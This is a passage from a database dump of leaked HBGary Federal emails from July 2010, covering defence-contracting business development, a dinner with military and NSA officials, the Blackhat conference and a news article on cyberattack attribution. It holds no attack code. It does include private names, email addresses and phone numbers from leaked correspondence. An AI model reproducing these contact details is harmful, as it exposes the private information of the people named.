\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>>> From: Aaron Barr \r\n>>>>> Date: Thu, 15 Jul 2010 21:34:59 -0400\r\n>>>>> To: Tim Riesen \r\n>>>>> Subject: capability\r\n>>>>> \r\n>>>>> Tim,\r\n>>>>> \r\n>>>>> About the capability you told me about the other day.  Too good of a\r\n>>>>> capability I can\'t get it out of my head.  So I talked briefly to someone\r\n>>>>> I\r\n>>>>> know that could schedule some meetings with the senior folks I mentioned.\r\n>>>>> I\r\n>>>>> am going to have a discussion with him on Monday.  Can we talk before then\r\n>>>>> just so I make sure I don\'t screw up the details.\r\n>>>>> \r\n>>>>> Funny thing I was at a small dinner hosted by OSD ATL tonight for the IO\r\n>>>>> CMDR\r\n>>>>> EUCOM, sitting next to me was jeff castelli from Phase1.  I think there\r\n>>>>> may\r\n>>>>> be\r\n>>>>> some opportunities in the future to help shape some IO strategy for EUCOM.\r\n>>>>> He\r\n>>>>> said he was excited by what we discussed.\r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\n\r\n',13175,'aaron_hbgary_com/13175.html'),(8640,'2010-07-16','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297006651.M488317P14101Q3495.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Asteroid','News to me. Do you know who the customer and topic are?\r\nThanks,\r\n Bob F\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: 07/15/2010 02:13 PM AST\r\nTo: Robert Frizzelle\r\nSubject: Asteroid\r\n\r\n\r\n\r\nHi bob,\r\n\r\nThere is a currently contract for arstrat called cosmic but a new\r\ncontract coming called asteroid a bae is the incumbent.  I am just\r\nwondering if this is something you guys are chasing at all?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',12281,'aaron_hbgary_com/12281.html'),(8641,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006651.M744378P14101Q3496.eml','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Re: Asteroid','Sure it\'s arstrat and it\'s it services, including security.  Bae is the incumbent.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 5:18 AM, Robert L Frizzelle  wrote:\r\n\r\n> News to me. Do you know who the customer and topic are?\r\n> Thanks,\r\n> Bob F\r\n> \r\n> \r\n> \r\n> This is a PRIVATE message. If you are not the intended recipient, please delete without copying and kindly advise us by e-mail of the mistake in delivery. NOTE: Regardless of content, this e-mail shall not operate to bind CSC to any order or other contract unless pursuant to explicit written agreement or government initiative expressly permitting the use of e-mail for such purpose.\r\n> \r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: 07/15/2010 02:13 PM AST\r\n> To: Robert Frizzelle\r\n> Subject: Asteroid\r\n> \r\n> \r\n> \r\n> Hi bob,\r\n> \r\n> There is a currently contract for arstrat called cosmic but a new\r\n> contract coming called asteroid a bae is the incumbent.  I am just\r\n> wondering if this is something you guys are chasing at all?\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n',2477,'aaron_hbgary_com/2477.html'),(8642,'2010-07-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006651.M965332P14101Q3497.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tonights Dinner','Cool.  A 1-on-1 dinner?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 9:12 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Rich Cummings; Ted Vera; Bob Slapnik\r\nSubject: Tonights Dinner\r\n\r\nJust cuz its so friggin cool I thought I would share.\r\n\r\nSo I have been invited to attend these Thursday dinners hosted by the OSD\r\nATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays guest\r\nwas the IO Commander for EUCOM.  The discussion went great and he said at\r\nthe end he would like to involve us in developing an updated IO strategy for\r\nEUCOM.  He was floored by the threat intelligence/attribution, Social Media\r\nconversation.\r\n\r\nAt the end of the meeting I was invited to a dinner with Keith Alexander\r\nnext Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\nCyber Command. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/15/10\r\n14:35:00\r\n\r\n',10882,'aaron_hbgary_com/10882.html'),(8643,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006652.M232096P14101Q3498.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tonights Dinner','No my guess is there will be about 20 or so folks, still it\'s very difficult to get a all audience with him even if your a big contractor.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 7:18 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> Cool.  A 1-on-1 dinner?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 15, 2010 9:12 PM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Cc: Rich Cummings; Ted Vera; Bob Slapnik\r\n> Subject: Tonights Dinner\r\n> \r\n> Just cuz its so friggin cool I thought I would share.\r\n> \r\n> So I have been invited to attend these Thursday dinners hosted by the OSD\r\n> ATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays guest\r\n> was the IO Commander for EUCOM.  The discussion went great and he said at\r\n> the end he would like to involve us in developing an updated IO strategy for\r\n> EUCOM.  He was floored by the threat intelligence/attribution, Social Media\r\n> conversation.\r\n> \r\n> At the end of the meeting I was invited to a dinner with Keith Alexander\r\n> next Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\n> Cyber Command. :)\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/15/10\r\n> 14:35:00\r\n> \r\n',16678,'aaron_hbgary_com/16678.html'),(8644,'2010-07-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006652.M452404P14101Q3499.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tonights Dinner','I guess that means there will be 20 other people to work at the dinner.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 7:28 AM\r\nTo: Bob Slapnik\r\nSubject: Re: Tonights Dinner\r\n\r\nNo my guess is there will be about 20 or so folks, still it\'s very difficult\r\nto get a all audience with him even if your a big contractor.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 7:18 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> Cool.  A 1-on-1 dinner?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, July 15, 2010 9:12 PM\r\n> To: Greg Hoglund; Penny Leavy\r\n> Cc: Rich Cummings; Ted Vera; Bob Slapnik\r\n> Subject: Tonights Dinner\r\n> \r\n> Just cuz its so friggin cool I thought I would share.\r\n> \r\n> So I have been invited to attend these Thursday dinners hosted by the OSD\r\n> ATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays\r\nguest\r\n> was the IO Commander for EUCOM.  The discussion went great and he said at\r\n> the end he would like to involve us in developing an updated IO strategy\r\nfor\r\n> EUCOM.  He was floored by the threat intelligence/attribution, Social\r\nMedia\r\n> conversation.\r\n> \r\n> At the end of the meeting I was invited to a dinner with Keith Alexander\r\n> next Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\n> Cyber Command. :)\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/15/10\r\n> 14:35:00\r\n> \r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/15/10\r\n14:35:00\r\n\r\n',9075,'aaron_hbgary_com/9075.html'),(8645,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006652.M678505P14101Q3500.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Tonights Dinner','Right.  Most will be government.\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 16, 2010, at 7:59 AM, \"Bob Slapnik\"  wrote:\r\n\r\n> I guess that means there will be 20 other people to work at the dinner.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, July 16, 2010 7:28 AM\r\n> To: Bob Slapnik\r\n> Subject: Re: Tonights Dinner\r\n> \r\n> No my guess is there will be about 20 or so folks, still it\'s very difficult\r\n> to get a all audience with him even if your a big contractor.\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 16, 2010, at 7:18 AM, \"Bob Slapnik\"  wrote:\r\n> \r\n>> Cool.  A 1-on-1 dinner?\r\n>> \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, July 15, 2010 9:12 PM\r\n>> To: Greg Hoglund; Penny Leavy\r\n>> Cc: Rich Cummings; Ted Vera; Bob Slapnik\r\n>> Subject: Tonights Dinner\r\n>> \r\n>> Just cuz its so friggin cool I thought I would share.\r\n>> \r\n>> So I have been invited to attend these Thursday dinners hosted by the OSD\r\n>> ATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays\r\n> guest\r\n>> was the IO Commander for EUCOM.  The discussion went great and he said at\r\n>> the end he would like to involve us in developing an updated IO strategy\r\n> for\r\n>> EUCOM.  He was floored by the threat intelligence/attribution, Social\r\n> Media\r\n>> conversation.\r\n>> \r\n>> At the end of the meeting I was invited to a dinner with Keith Alexander\r\n>> next Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\n>> Cyber Command. :)\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/15/10\r\n>> 14:35:00\r\n>> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/15/10\r\n> 14:35:00\r\n> \r\n',15140,'aaron_hbgary_com/15140.html'),(8646,'2010-07-16','\"Smith, Calvin H (IS)\" <ch.smith@ngc.com>','/aaron@hbgary.com/new/1297006652.M893632P14101Q3501.eml','aaron@hbgary.com','FW: EXTERNAL:Ping','Aaron,\r\n\r\nHow\'s it going sir?   I\'m working the State Dept\'s $3.5B Vanguard prop right now and I\'m in \"prop hell\".  I\'m in meetings all day long every day or responding to prop tasking.   I do want to meet, but let\'s wait until later in the month when I might have more time.\r\n\r\nHope things are going well!\r\n\r\nBest Regards,\r\n\r\nCal \r\n\r\nCalvin H. Smith \r\nCyber Security Architect Manager \r\nCivil Systems Division, Federal Mission Systems\r\nInformation Systems Security   CSD/FMS/ISS\r\nNorthrop Grumman Information Systems (NGIS)\r\nOffice:  703.827.3660\r\nCell:      703.625.8853 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Smith, Calvin C. (Messaging) (IS) \r\nSent: Thursday, July 15, 2010 8:44 PM\r\nTo: Smith, Calvin H (IS)\r\nSubject: FW: EXTERNAL:Ping\r\n\r\nI understand the error when somebody inside Northrop Grumman selects the wrong Calvin Smith.  The names are next to each other in the GAL.  People on the outside don\'t have a Northrop Grumman GAL so I don\'t reply to them because of phishing issues.  Usually, I do nothing with them.\r\n\r\nI am forwarding this one to you.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 12:45 PM\r\nTo: Smith, Calvin C. (Messaging) (IS)\r\nSubject: EXTERNAL:Ping\r\n\r\nHey Cal,\r\n\r\nYou asked me to ping you in a few weeks.  Want to get together?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3717,'aaron_hbgary_com/3717.html'),(8647,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006653.M108037P14101Q3502.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Tonights Dinner','Ok this is starting to bug me. &nbsp;I do work folks. &nbsp;Everytime I am talking to folks I talk about the wonderful HBGary products. &nbsp;I am getting the feeling all over that I don\'t sell, I do. &nbsp;I put together high level meetings to pitch HBGary products. &nbsp;I sell all the time, now maybe I am not doing something right or maybe people just aren\'t buying. &nbsp;I get invited to be part of some exclusive groups that no other small businesses are included in, that has to mean I am doing something right?AaronSent from my iPhoneBegin forwarded message:From: \"Bob Slapnik\" &lt;bob@hbgary.com&gt;Date: July 16, 2010 7:59:59 AM EDTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: Tonights DinnerI guess that means there will be 20 other people to work at the dinner.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Friday, July 16, 2010 7:28 AMTo: Bob SlapnikSubject: Re: Tonights DinnerNo my guess is there will be about 20 or so folks, still it\'s very difficultto get a all audience with him even if your a big contractor.Sent from my iPhoneOn Jul 16, 2010, at 7:18 AM, \"Bob Slapnik\" &lt;bob@hbgary.com&gt; wrote:Cool. &nbsp;A 1-on-1 dinner?-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, July 15, 2010 9:12 PMTo: Greg Hoglund; Penny LeavyCc: Rich Cummings; Ted Vera; Bob SlapnikSubject: Tonights DinnerJust cuz its so friggin cool I thought I would share.So I have been invited to attend these Thursday dinners hosted by the OSDATL (Advanced Technologies Lab) which is the R&amp;D shop for OSD. &nbsp;Todaysguestwas the IO Commander for EUCOM. &nbsp;The discussion went great and he said atthe end he would like to involve us in developing an updated IO strategyforEUCOM. &nbsp;He was floored by the threat intelligence/attribution, SocialMediaconversation.At the end of the meeting I was invited to a dinner with Keith Alexandernext Tuesday. &nbsp;Gen. Alexander is the director of NSA and the Commander ofCyber Command. :)Aaron BarrCEOHBGary Federal Inc.No virus found in this incoming message.Checked by AVG - www.avg.com Version: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/15/1014:35:00No virus found in this incoming message.Checked by AVG - www.avg.com Version: 9.0.830 / Virus Database: 271.1.1/3008 - Release Date: 07/15/1014:35:00',15285,'aaron_hbgary_com/15285.html'),(8648,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006653.M750509P14101Q3503.eml','\"Aaron Barr\" <adbarr@mac.com>','','\r\n\r\n',5785,'aaron_hbgary_com/5785.html'),(8649,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006655.M264875P14101Q3504.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Thu)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, July 15, 2010 9:31 PM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\nThe last article is especially offensive.\r\n\r\nToday\'s articles:\r\n\r\n*       Report: Alleged Russian spy worked for Microsoft\r\n\r\n*       Connecticut AG reaches agreement with Health Net over data\r\nbreach\r\n\r\n*       Report: Adobe Reader, IE top vulnerability list\r\n\r\n*       ZeuS Trojan attempts to exploit MasterCard, Visa security\r\nprograms\r\n\r\n*       UK re-enters spam relaying \'Dirty Dozen\'\r\n\r\n*       With fix now out, Microsoft sees jump in XP attacks\r\n\r\n*       FBI raids cyber gang following harassment\r\n\r\n*       Bizarre phone ransom Trojan found by researchers\r\n\r\n*       SANS study: One in five mobile devices running malware\r\n\r\n*       Drive backup for PGP Whole Disk Encryption\r\n\r\n*       New phishing attack disguised as a PDF reader update\r\n\r\n*       More IT Pros Snooping Around Sensitive, Confidential Company\r\nInfo \r\n\r\n*       Is your smart phone infected with malware?\r\n\r\n*       Latest ZeuS version comes in two flavors\r\n\r\n*       New Spearphishing Email With U.S. Army Nexus\r\n\r\n',764,'aaron_hbgary_com/764.html'),(8650,'2010-07-16','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297006655.M573203P14101Q3505.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Network World Story: Some Experts Question Efforts to Identify 	Cyberattackers','FYI\r\n \r\nThis story appeared on Network World athttp://www.networkworld.com/news/2010/071510-some-experts-question-efforts-to.html \r\n\r\nSome experts question efforts to identify cyberattackers \r\n\r\nInternet ID efforts would lead to privacy concerns and may not work, some critics say\r\nBy Grant Gross, IDG News Service July 15, 2010 03:01 PM ET \r\n\r\n\r\n\r\nSponsored by:\r\nEfforts by the U.S. government to better identify cyberattackers will likely lead to violations of Internet users&#39; privacy and anonymity, and technological means to attribute the source of the attacks may be inaccurate, privacy and cybersecurity experts said Thursday. \r\n\r\nWitnesses at a U.S. House of Representatives subcommittee hearing disagreed about whether the government should explore new ways to attribute the sources of cyberattacks. Several cybersecurity experts have called for new attribution efforts, including trusted identification systems, but Robert Knake, an international affairs fellow for the Council on Foreign Relations, said oppressive governments would use new identification technologies to track their political enemies. \r\n\r\nProposals to label IP (Internet Protocol) packets with unique identifiers &quot;would be far more useful for authoritarian regimes to monitor and control Internet use by their citizens than it would be in combating cyberwarfare, crime and nuisance behavior,&quot; Knake told the House Science and Technology Committee&#39;s subcommittee on technology and innovation. \r\n\r\nFor massive attacks, attribution of the attackers may not be difficult, because only a few nations have that capability, while low-level attacks don&#39;t rise to the level of national emergencies, he said. &quot;In a lot of cases, we don&#39;t lack attribution, we lack response options,&quot; he added. &quot;We don&#39;t know what we should do when we discover that the Chinese have hacked into Google.&quot; \r\n\r\n\r\n\r\n\r\n\r\nSubcommittee Chairman David Wu, an Oregon Democrat, asked witnesses whether new ways to identify the source of cyberattacks would deter some attacks. In other types of conflicts the U.S. has faced, knowing the identity of potential attackers has kept both sides from aggression, he said. \r\n\r\nKnake questioned whether the same would hold true for cyberattacks.\r\nThe Cold War theory of mutually assured destruction in nuclear attacks between the U.S. and the old Soviet Union is &quot;unpersuasive&quot; in a cybersecurity context because the U.S. is far more dependent on the Internet than many potential attackers, he said. The U.S. would have to respond with physical attacks to do the same amount of damage as the attacking nation did to it, he added. \r\n\r\nKnake suggested that the U.S. government should focus more on preventing damage and protecting its systems than on attributing the source of attacks. But Ed Giorgio, president of cybersecurity vendor Ponte Technologies, called for new protocols that would identify users on sensitive networks. On less-sensitive parts of the Internet, people should have tokens, issued by a trusted third party, that establish their identity or tokens that give them anonymity, he said. \r\n\r\nAttack attribution, while not effective today, is an &quot;essential part&quot; of the U.S. government&#39;s emergency response capabilities, Giorgio said. \r\n&quot;My comments are not focused on promoting what the ideal balance between privacy and security should be, but rather a challenge to those embracing the utopian view that both may be simultaneously within our grasp,&quot; he added. \r\n\r\nBut proposals to establish an Internet ID may not even be legal in the U.S., said Marc Rotenberg, president of the Electronic Privacy Information Center (EPIC). The U.S. has a long tradition of allowing residents to speak anonymously or pseudonymously, and courts have upheld that right, he said. \r\n\r\nSuch proposals would raise &quot;significant&quot; human rights and Internet freedom concerns, and they may not work, Rotenberg said.\r\n&quot;No matter how good attribution technologies are, attribution will probably still fail to identify the most sophisticated attackers,&quot; he said. &quot;Because sophisticated attackers often obscure their trail by routing activities through multiple countries, complete attribution capability would require the implementation of coordinated policies on a near-impossible global scale.&quot; \r\n\r\nGrant Gross covers technology and telecom policy in the U.S. government for The IDG News Service. Follow Grant on Twitter at GrantusG. Grant&#39;s e-mail address is grant_gross@idg.com.\r\n\r\n',326,'aaron_hbgary_com/326.html'),(8651,'2010-07-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006655.M801630P14101Q3506.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Tonights Dinner','NFW!!!!!  Calling you now.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thursday, July 15, 2010 9:12 PM\r\nTo: Greg Hoglund; Penny Leavy\r\nCc: Rich Cummings; Ted Vera; Bob Slapnik\r\nSubject: Tonights Dinner\r\n\r\nJust cuz its so friggin cool I thought I would share.\r\n\r\nSo I have been invited to attend these Thursday dinners hosted by the OSD\r\nATL (Advanced Technologies Lab) which is the R&D shop for OSD.  Todays\r\nguest was the IO Commander for EUCOM.  The discussion went great and he\r\nsaid at the end he would like to involve us in developing an updated IO\r\nstrategy for EUCOM.  He was floored by the threat\r\nintelligence/attribution, Social Media conversation.\r\n\r\nAt the end of the meeting I was invited to a dinner with Keith Alexander\r\nnext Tuesday.  Gen. Alexander is the director of NSA and the Commander of\r\nCyber Command. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',4132,'aaron_hbgary_com/4132.html'),(8652,'2010-07-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006656.M493494P14101Q3508.eml','all@hbgary.com','Who is going to blackhat?',' \r\nAll,\r\nWho is going to be at Blackhat?\r\n \r\n-Greg\r\n',9497,'aaron_hbgary_com/9497.html'),(8653,'2010-07-16','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006656.M54223P14101Q3507.eml','all@hbgary.com','Next iteration is coming up',' \r\nAll,\r\nPlease send me your iteration top feature request.  Remember, there is no guarantee we will do anything you ask for, but this helps us make priorities.\r\n \r\nHere are some:\r\n- timeline control\r\n- nodes work even when windows networking is not enabled (manual installs)\r\n- single-point node status (the definitive state of any node given in one spot - user does not need to cross-reference any other data to trouble shoot)\r\n- full AD integration with ePO (not just license server, but all features)\r\n \r\nThe above list is not a list of features that will be implemented, this is a suggestive list only of possible features that may or may not be implemented depending on our planning and priorities.  This message will self destruct in 60 seconds.  \r\n\r\n \r\n-Greg\r\n \r\n',2749,'aaron_hbgary_com/2749.html'),(8654,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006656.M710320P14101Q3509.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Who is going to blackhat?','me\r\nOn Jul 16, 2010, at 10:09 AM, Greg Hoglund wrote:\r\n\r\n>  \r\n> All,\r\n> Who is going to be at Blackhat?\r\n>  \r\n> -Greg\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13781,'aaron_hbgary_com/13781.html'),(8655,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006656.M921344P14101Q3510.eml','\"Karen Burke\" <karen@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Network World Story: Some Experts Question Efforts to Identify Cyberattackers','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI think an interesting blog post could come out of this. \r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;The internet is a large community.&nbsp; You are not &#8220;anonymous&#8221; in\r\na community, you are recognized, people know you, you can ask about someone\r\netc.&nbsp; \r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe need to stop thinking that the Internet is different somehow\r\nthan a regular community.\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCops make deductions all the time about people and follow a\r\ntrail, the effort to identify is no different than this.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe make our communities more safe by having police, traffic\r\nlights, sidewalks (so you aren&#8217;t run over), buildings, (to protect your\r\nproperty) etc.&nbsp; Your computer is no different than that building\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karen@hbgary.com] \r\nSent: Friday, July 16, 2010 6:41 AM\r\nTo: Aaron Barr; Greg Hoglund; Penny Leavy\r\nSubject: Network World Story: Some Experts Question Efforts to Identify\r\nCyberattackers\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis story appeared on Network World at\r\nhttp://www.networkworld.com/news/2010/071510-some-experts-question-efforts-to.html\r\n\r\n\r\nSome experts question efforts to identify cyberattackers \r\n\r\n\r\n\r\nInternet ID efforts would lead to privacy concerns and may\r\nnot work, some critics say\r\n\r\n\r\n\r\n\r\n\r\nBy Grant\r\nGross, IDG News Service \r\nJuly 15, 2010 03:01 PM ET \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSponsored by:\r\n\r\n\r\n\r\nEfforts by the U.S. government to better identify cyberattackers\r\nwill likely lead to violations of Internet users\' privacy and anonymity, and\r\ntechnological means to attribute the source of the attacks may be inaccurate,\r\nprivacy and cybersecurity experts said Thursday. \r\n\r\nWitnesses at a U.S. House of Representatives subcommittee hearing disagreed\r\nabout whether the government should explore new ways to attribute the sources\r\nof cyberattacks. Several cybersecurity experts have called for new attribution\r\nefforts, including trusted identification systems, but Robert Knake, an\r\ninternational affairs fellow for the Council on Foreign Relations, said\r\noppressive governments would use new identification technologies to track their\r\npolitical enemies. \r\n\r\nProposals to label IP (Internet Protocol) packets with unique identifiers\r\n&quot;would be far more useful for authoritarian regimes to monitor and control\r\nInternet use by their citizens than it would be in combating cyberwarfare,\r\ncrime and nuisance behavior,&quot; Knake told the House Science and Technology\r\nCommittee\'s subcommittee on technology and innovation. \r\n\r\nFor massive attacks, attribution of the attackers may not be difficult,\r\nbecause only a few nations have that capability, while low-level attacks don\'t\r\nrise to the level of national emergencies, he said. &quot;In a lot of cases, we\r\ndon\'t lack attribution, we lack response options,&quot; he added. &quot;We\r\ndon\'t know what we should do when we discover that the Chinese have hacked into\r\nGoogle.&quot; \r\n\r\nSubcommittee Chairman David Wu, an Oregon Democrat, asked witnesses whether\r\nnew ways to identify the source of cyberattacks would deter some attacks. In\r\nother types of conflicts the U.S. has faced, knowing the identity of potential\r\nattackers has kept both sides from aggression, he said. \r\n\r\nKnake questioned whether the same would hold true for cyberattacks.\r\n\r\nThe Cold War theory of mutually assured destruction in nuclear attacks\r\nbetween the U.S. and the old Soviet Union is &quot;unpersuasive&quot; in a\r\ncybersecurity context because the U.S. is far more dependent on the Internet\r\nthan many potential attackers, he said. The U.S. would have to respond with\r\nphysical attacks to do the same amount of damage as the attacking nation did to\r\nit, he added. \r\n\r\nKnake suggested that the U.S. government should focus more on preventing\r\ndamage and protecting its systems than on attributing the source of attacks.\r\nBut Ed Giorgio, president of cybersecurity vendor Ponte Technologies, called for\r\nnew protocols that would identify users on sensitive networks. On\r\nless-sensitive parts of the Internet, people should have tokens, issued by a\r\ntrusted third party, that establish their identity or tokens that give them\r\nanonymity, he said. \r\n\r\nAttack attribution, while not effective today, is an &quot;essential\r\npart&quot; of the U.S. government\'s emergency response capabilities, Giorgio\r\nsaid. \r\n\r\n&quot;My comments are not focused on promoting what the ideal balance\r\nbetween privacy and security should be, but rather a challenge to those\r\nembracing the utopian view that both may be simultaneously within our\r\ngrasp,&quot; he added. \r\n\r\nBut proposals to establish an Internet ID may not even be legal in the U.S.,\r\nsaid Marc Rotenberg, president of the Electronic Privacy Information Center\r\n(EPIC). The U.S. has a long tradition of allowing residents to speak\r\nanonymously or pseudonymously, and courts have upheld that right, he said. \r\n\r\nSuch proposals would raise &quot;significant&quot; human rights and Internet\r\nfreedom concerns, and they may not work, Rotenberg said.\r\n\r\n&quot;No matter how good attribution technologies are, attribution will\r\nprobably still fail to identify the most sophisticated attackers,&quot; he\r\nsaid. &quot;Because sophisticated attackers often obscure their trail by\r\nrouting activities through multiple countries, complete attribution capability\r\nwould require the implementation of coordinated policies on a near-impossible\r\nglobal scale.&quot; \r\n\r\nGrant Gross covers technology and telecom policy in the U.S. government\r\nfor The IDG News Service. Follow Grant on Twitter at 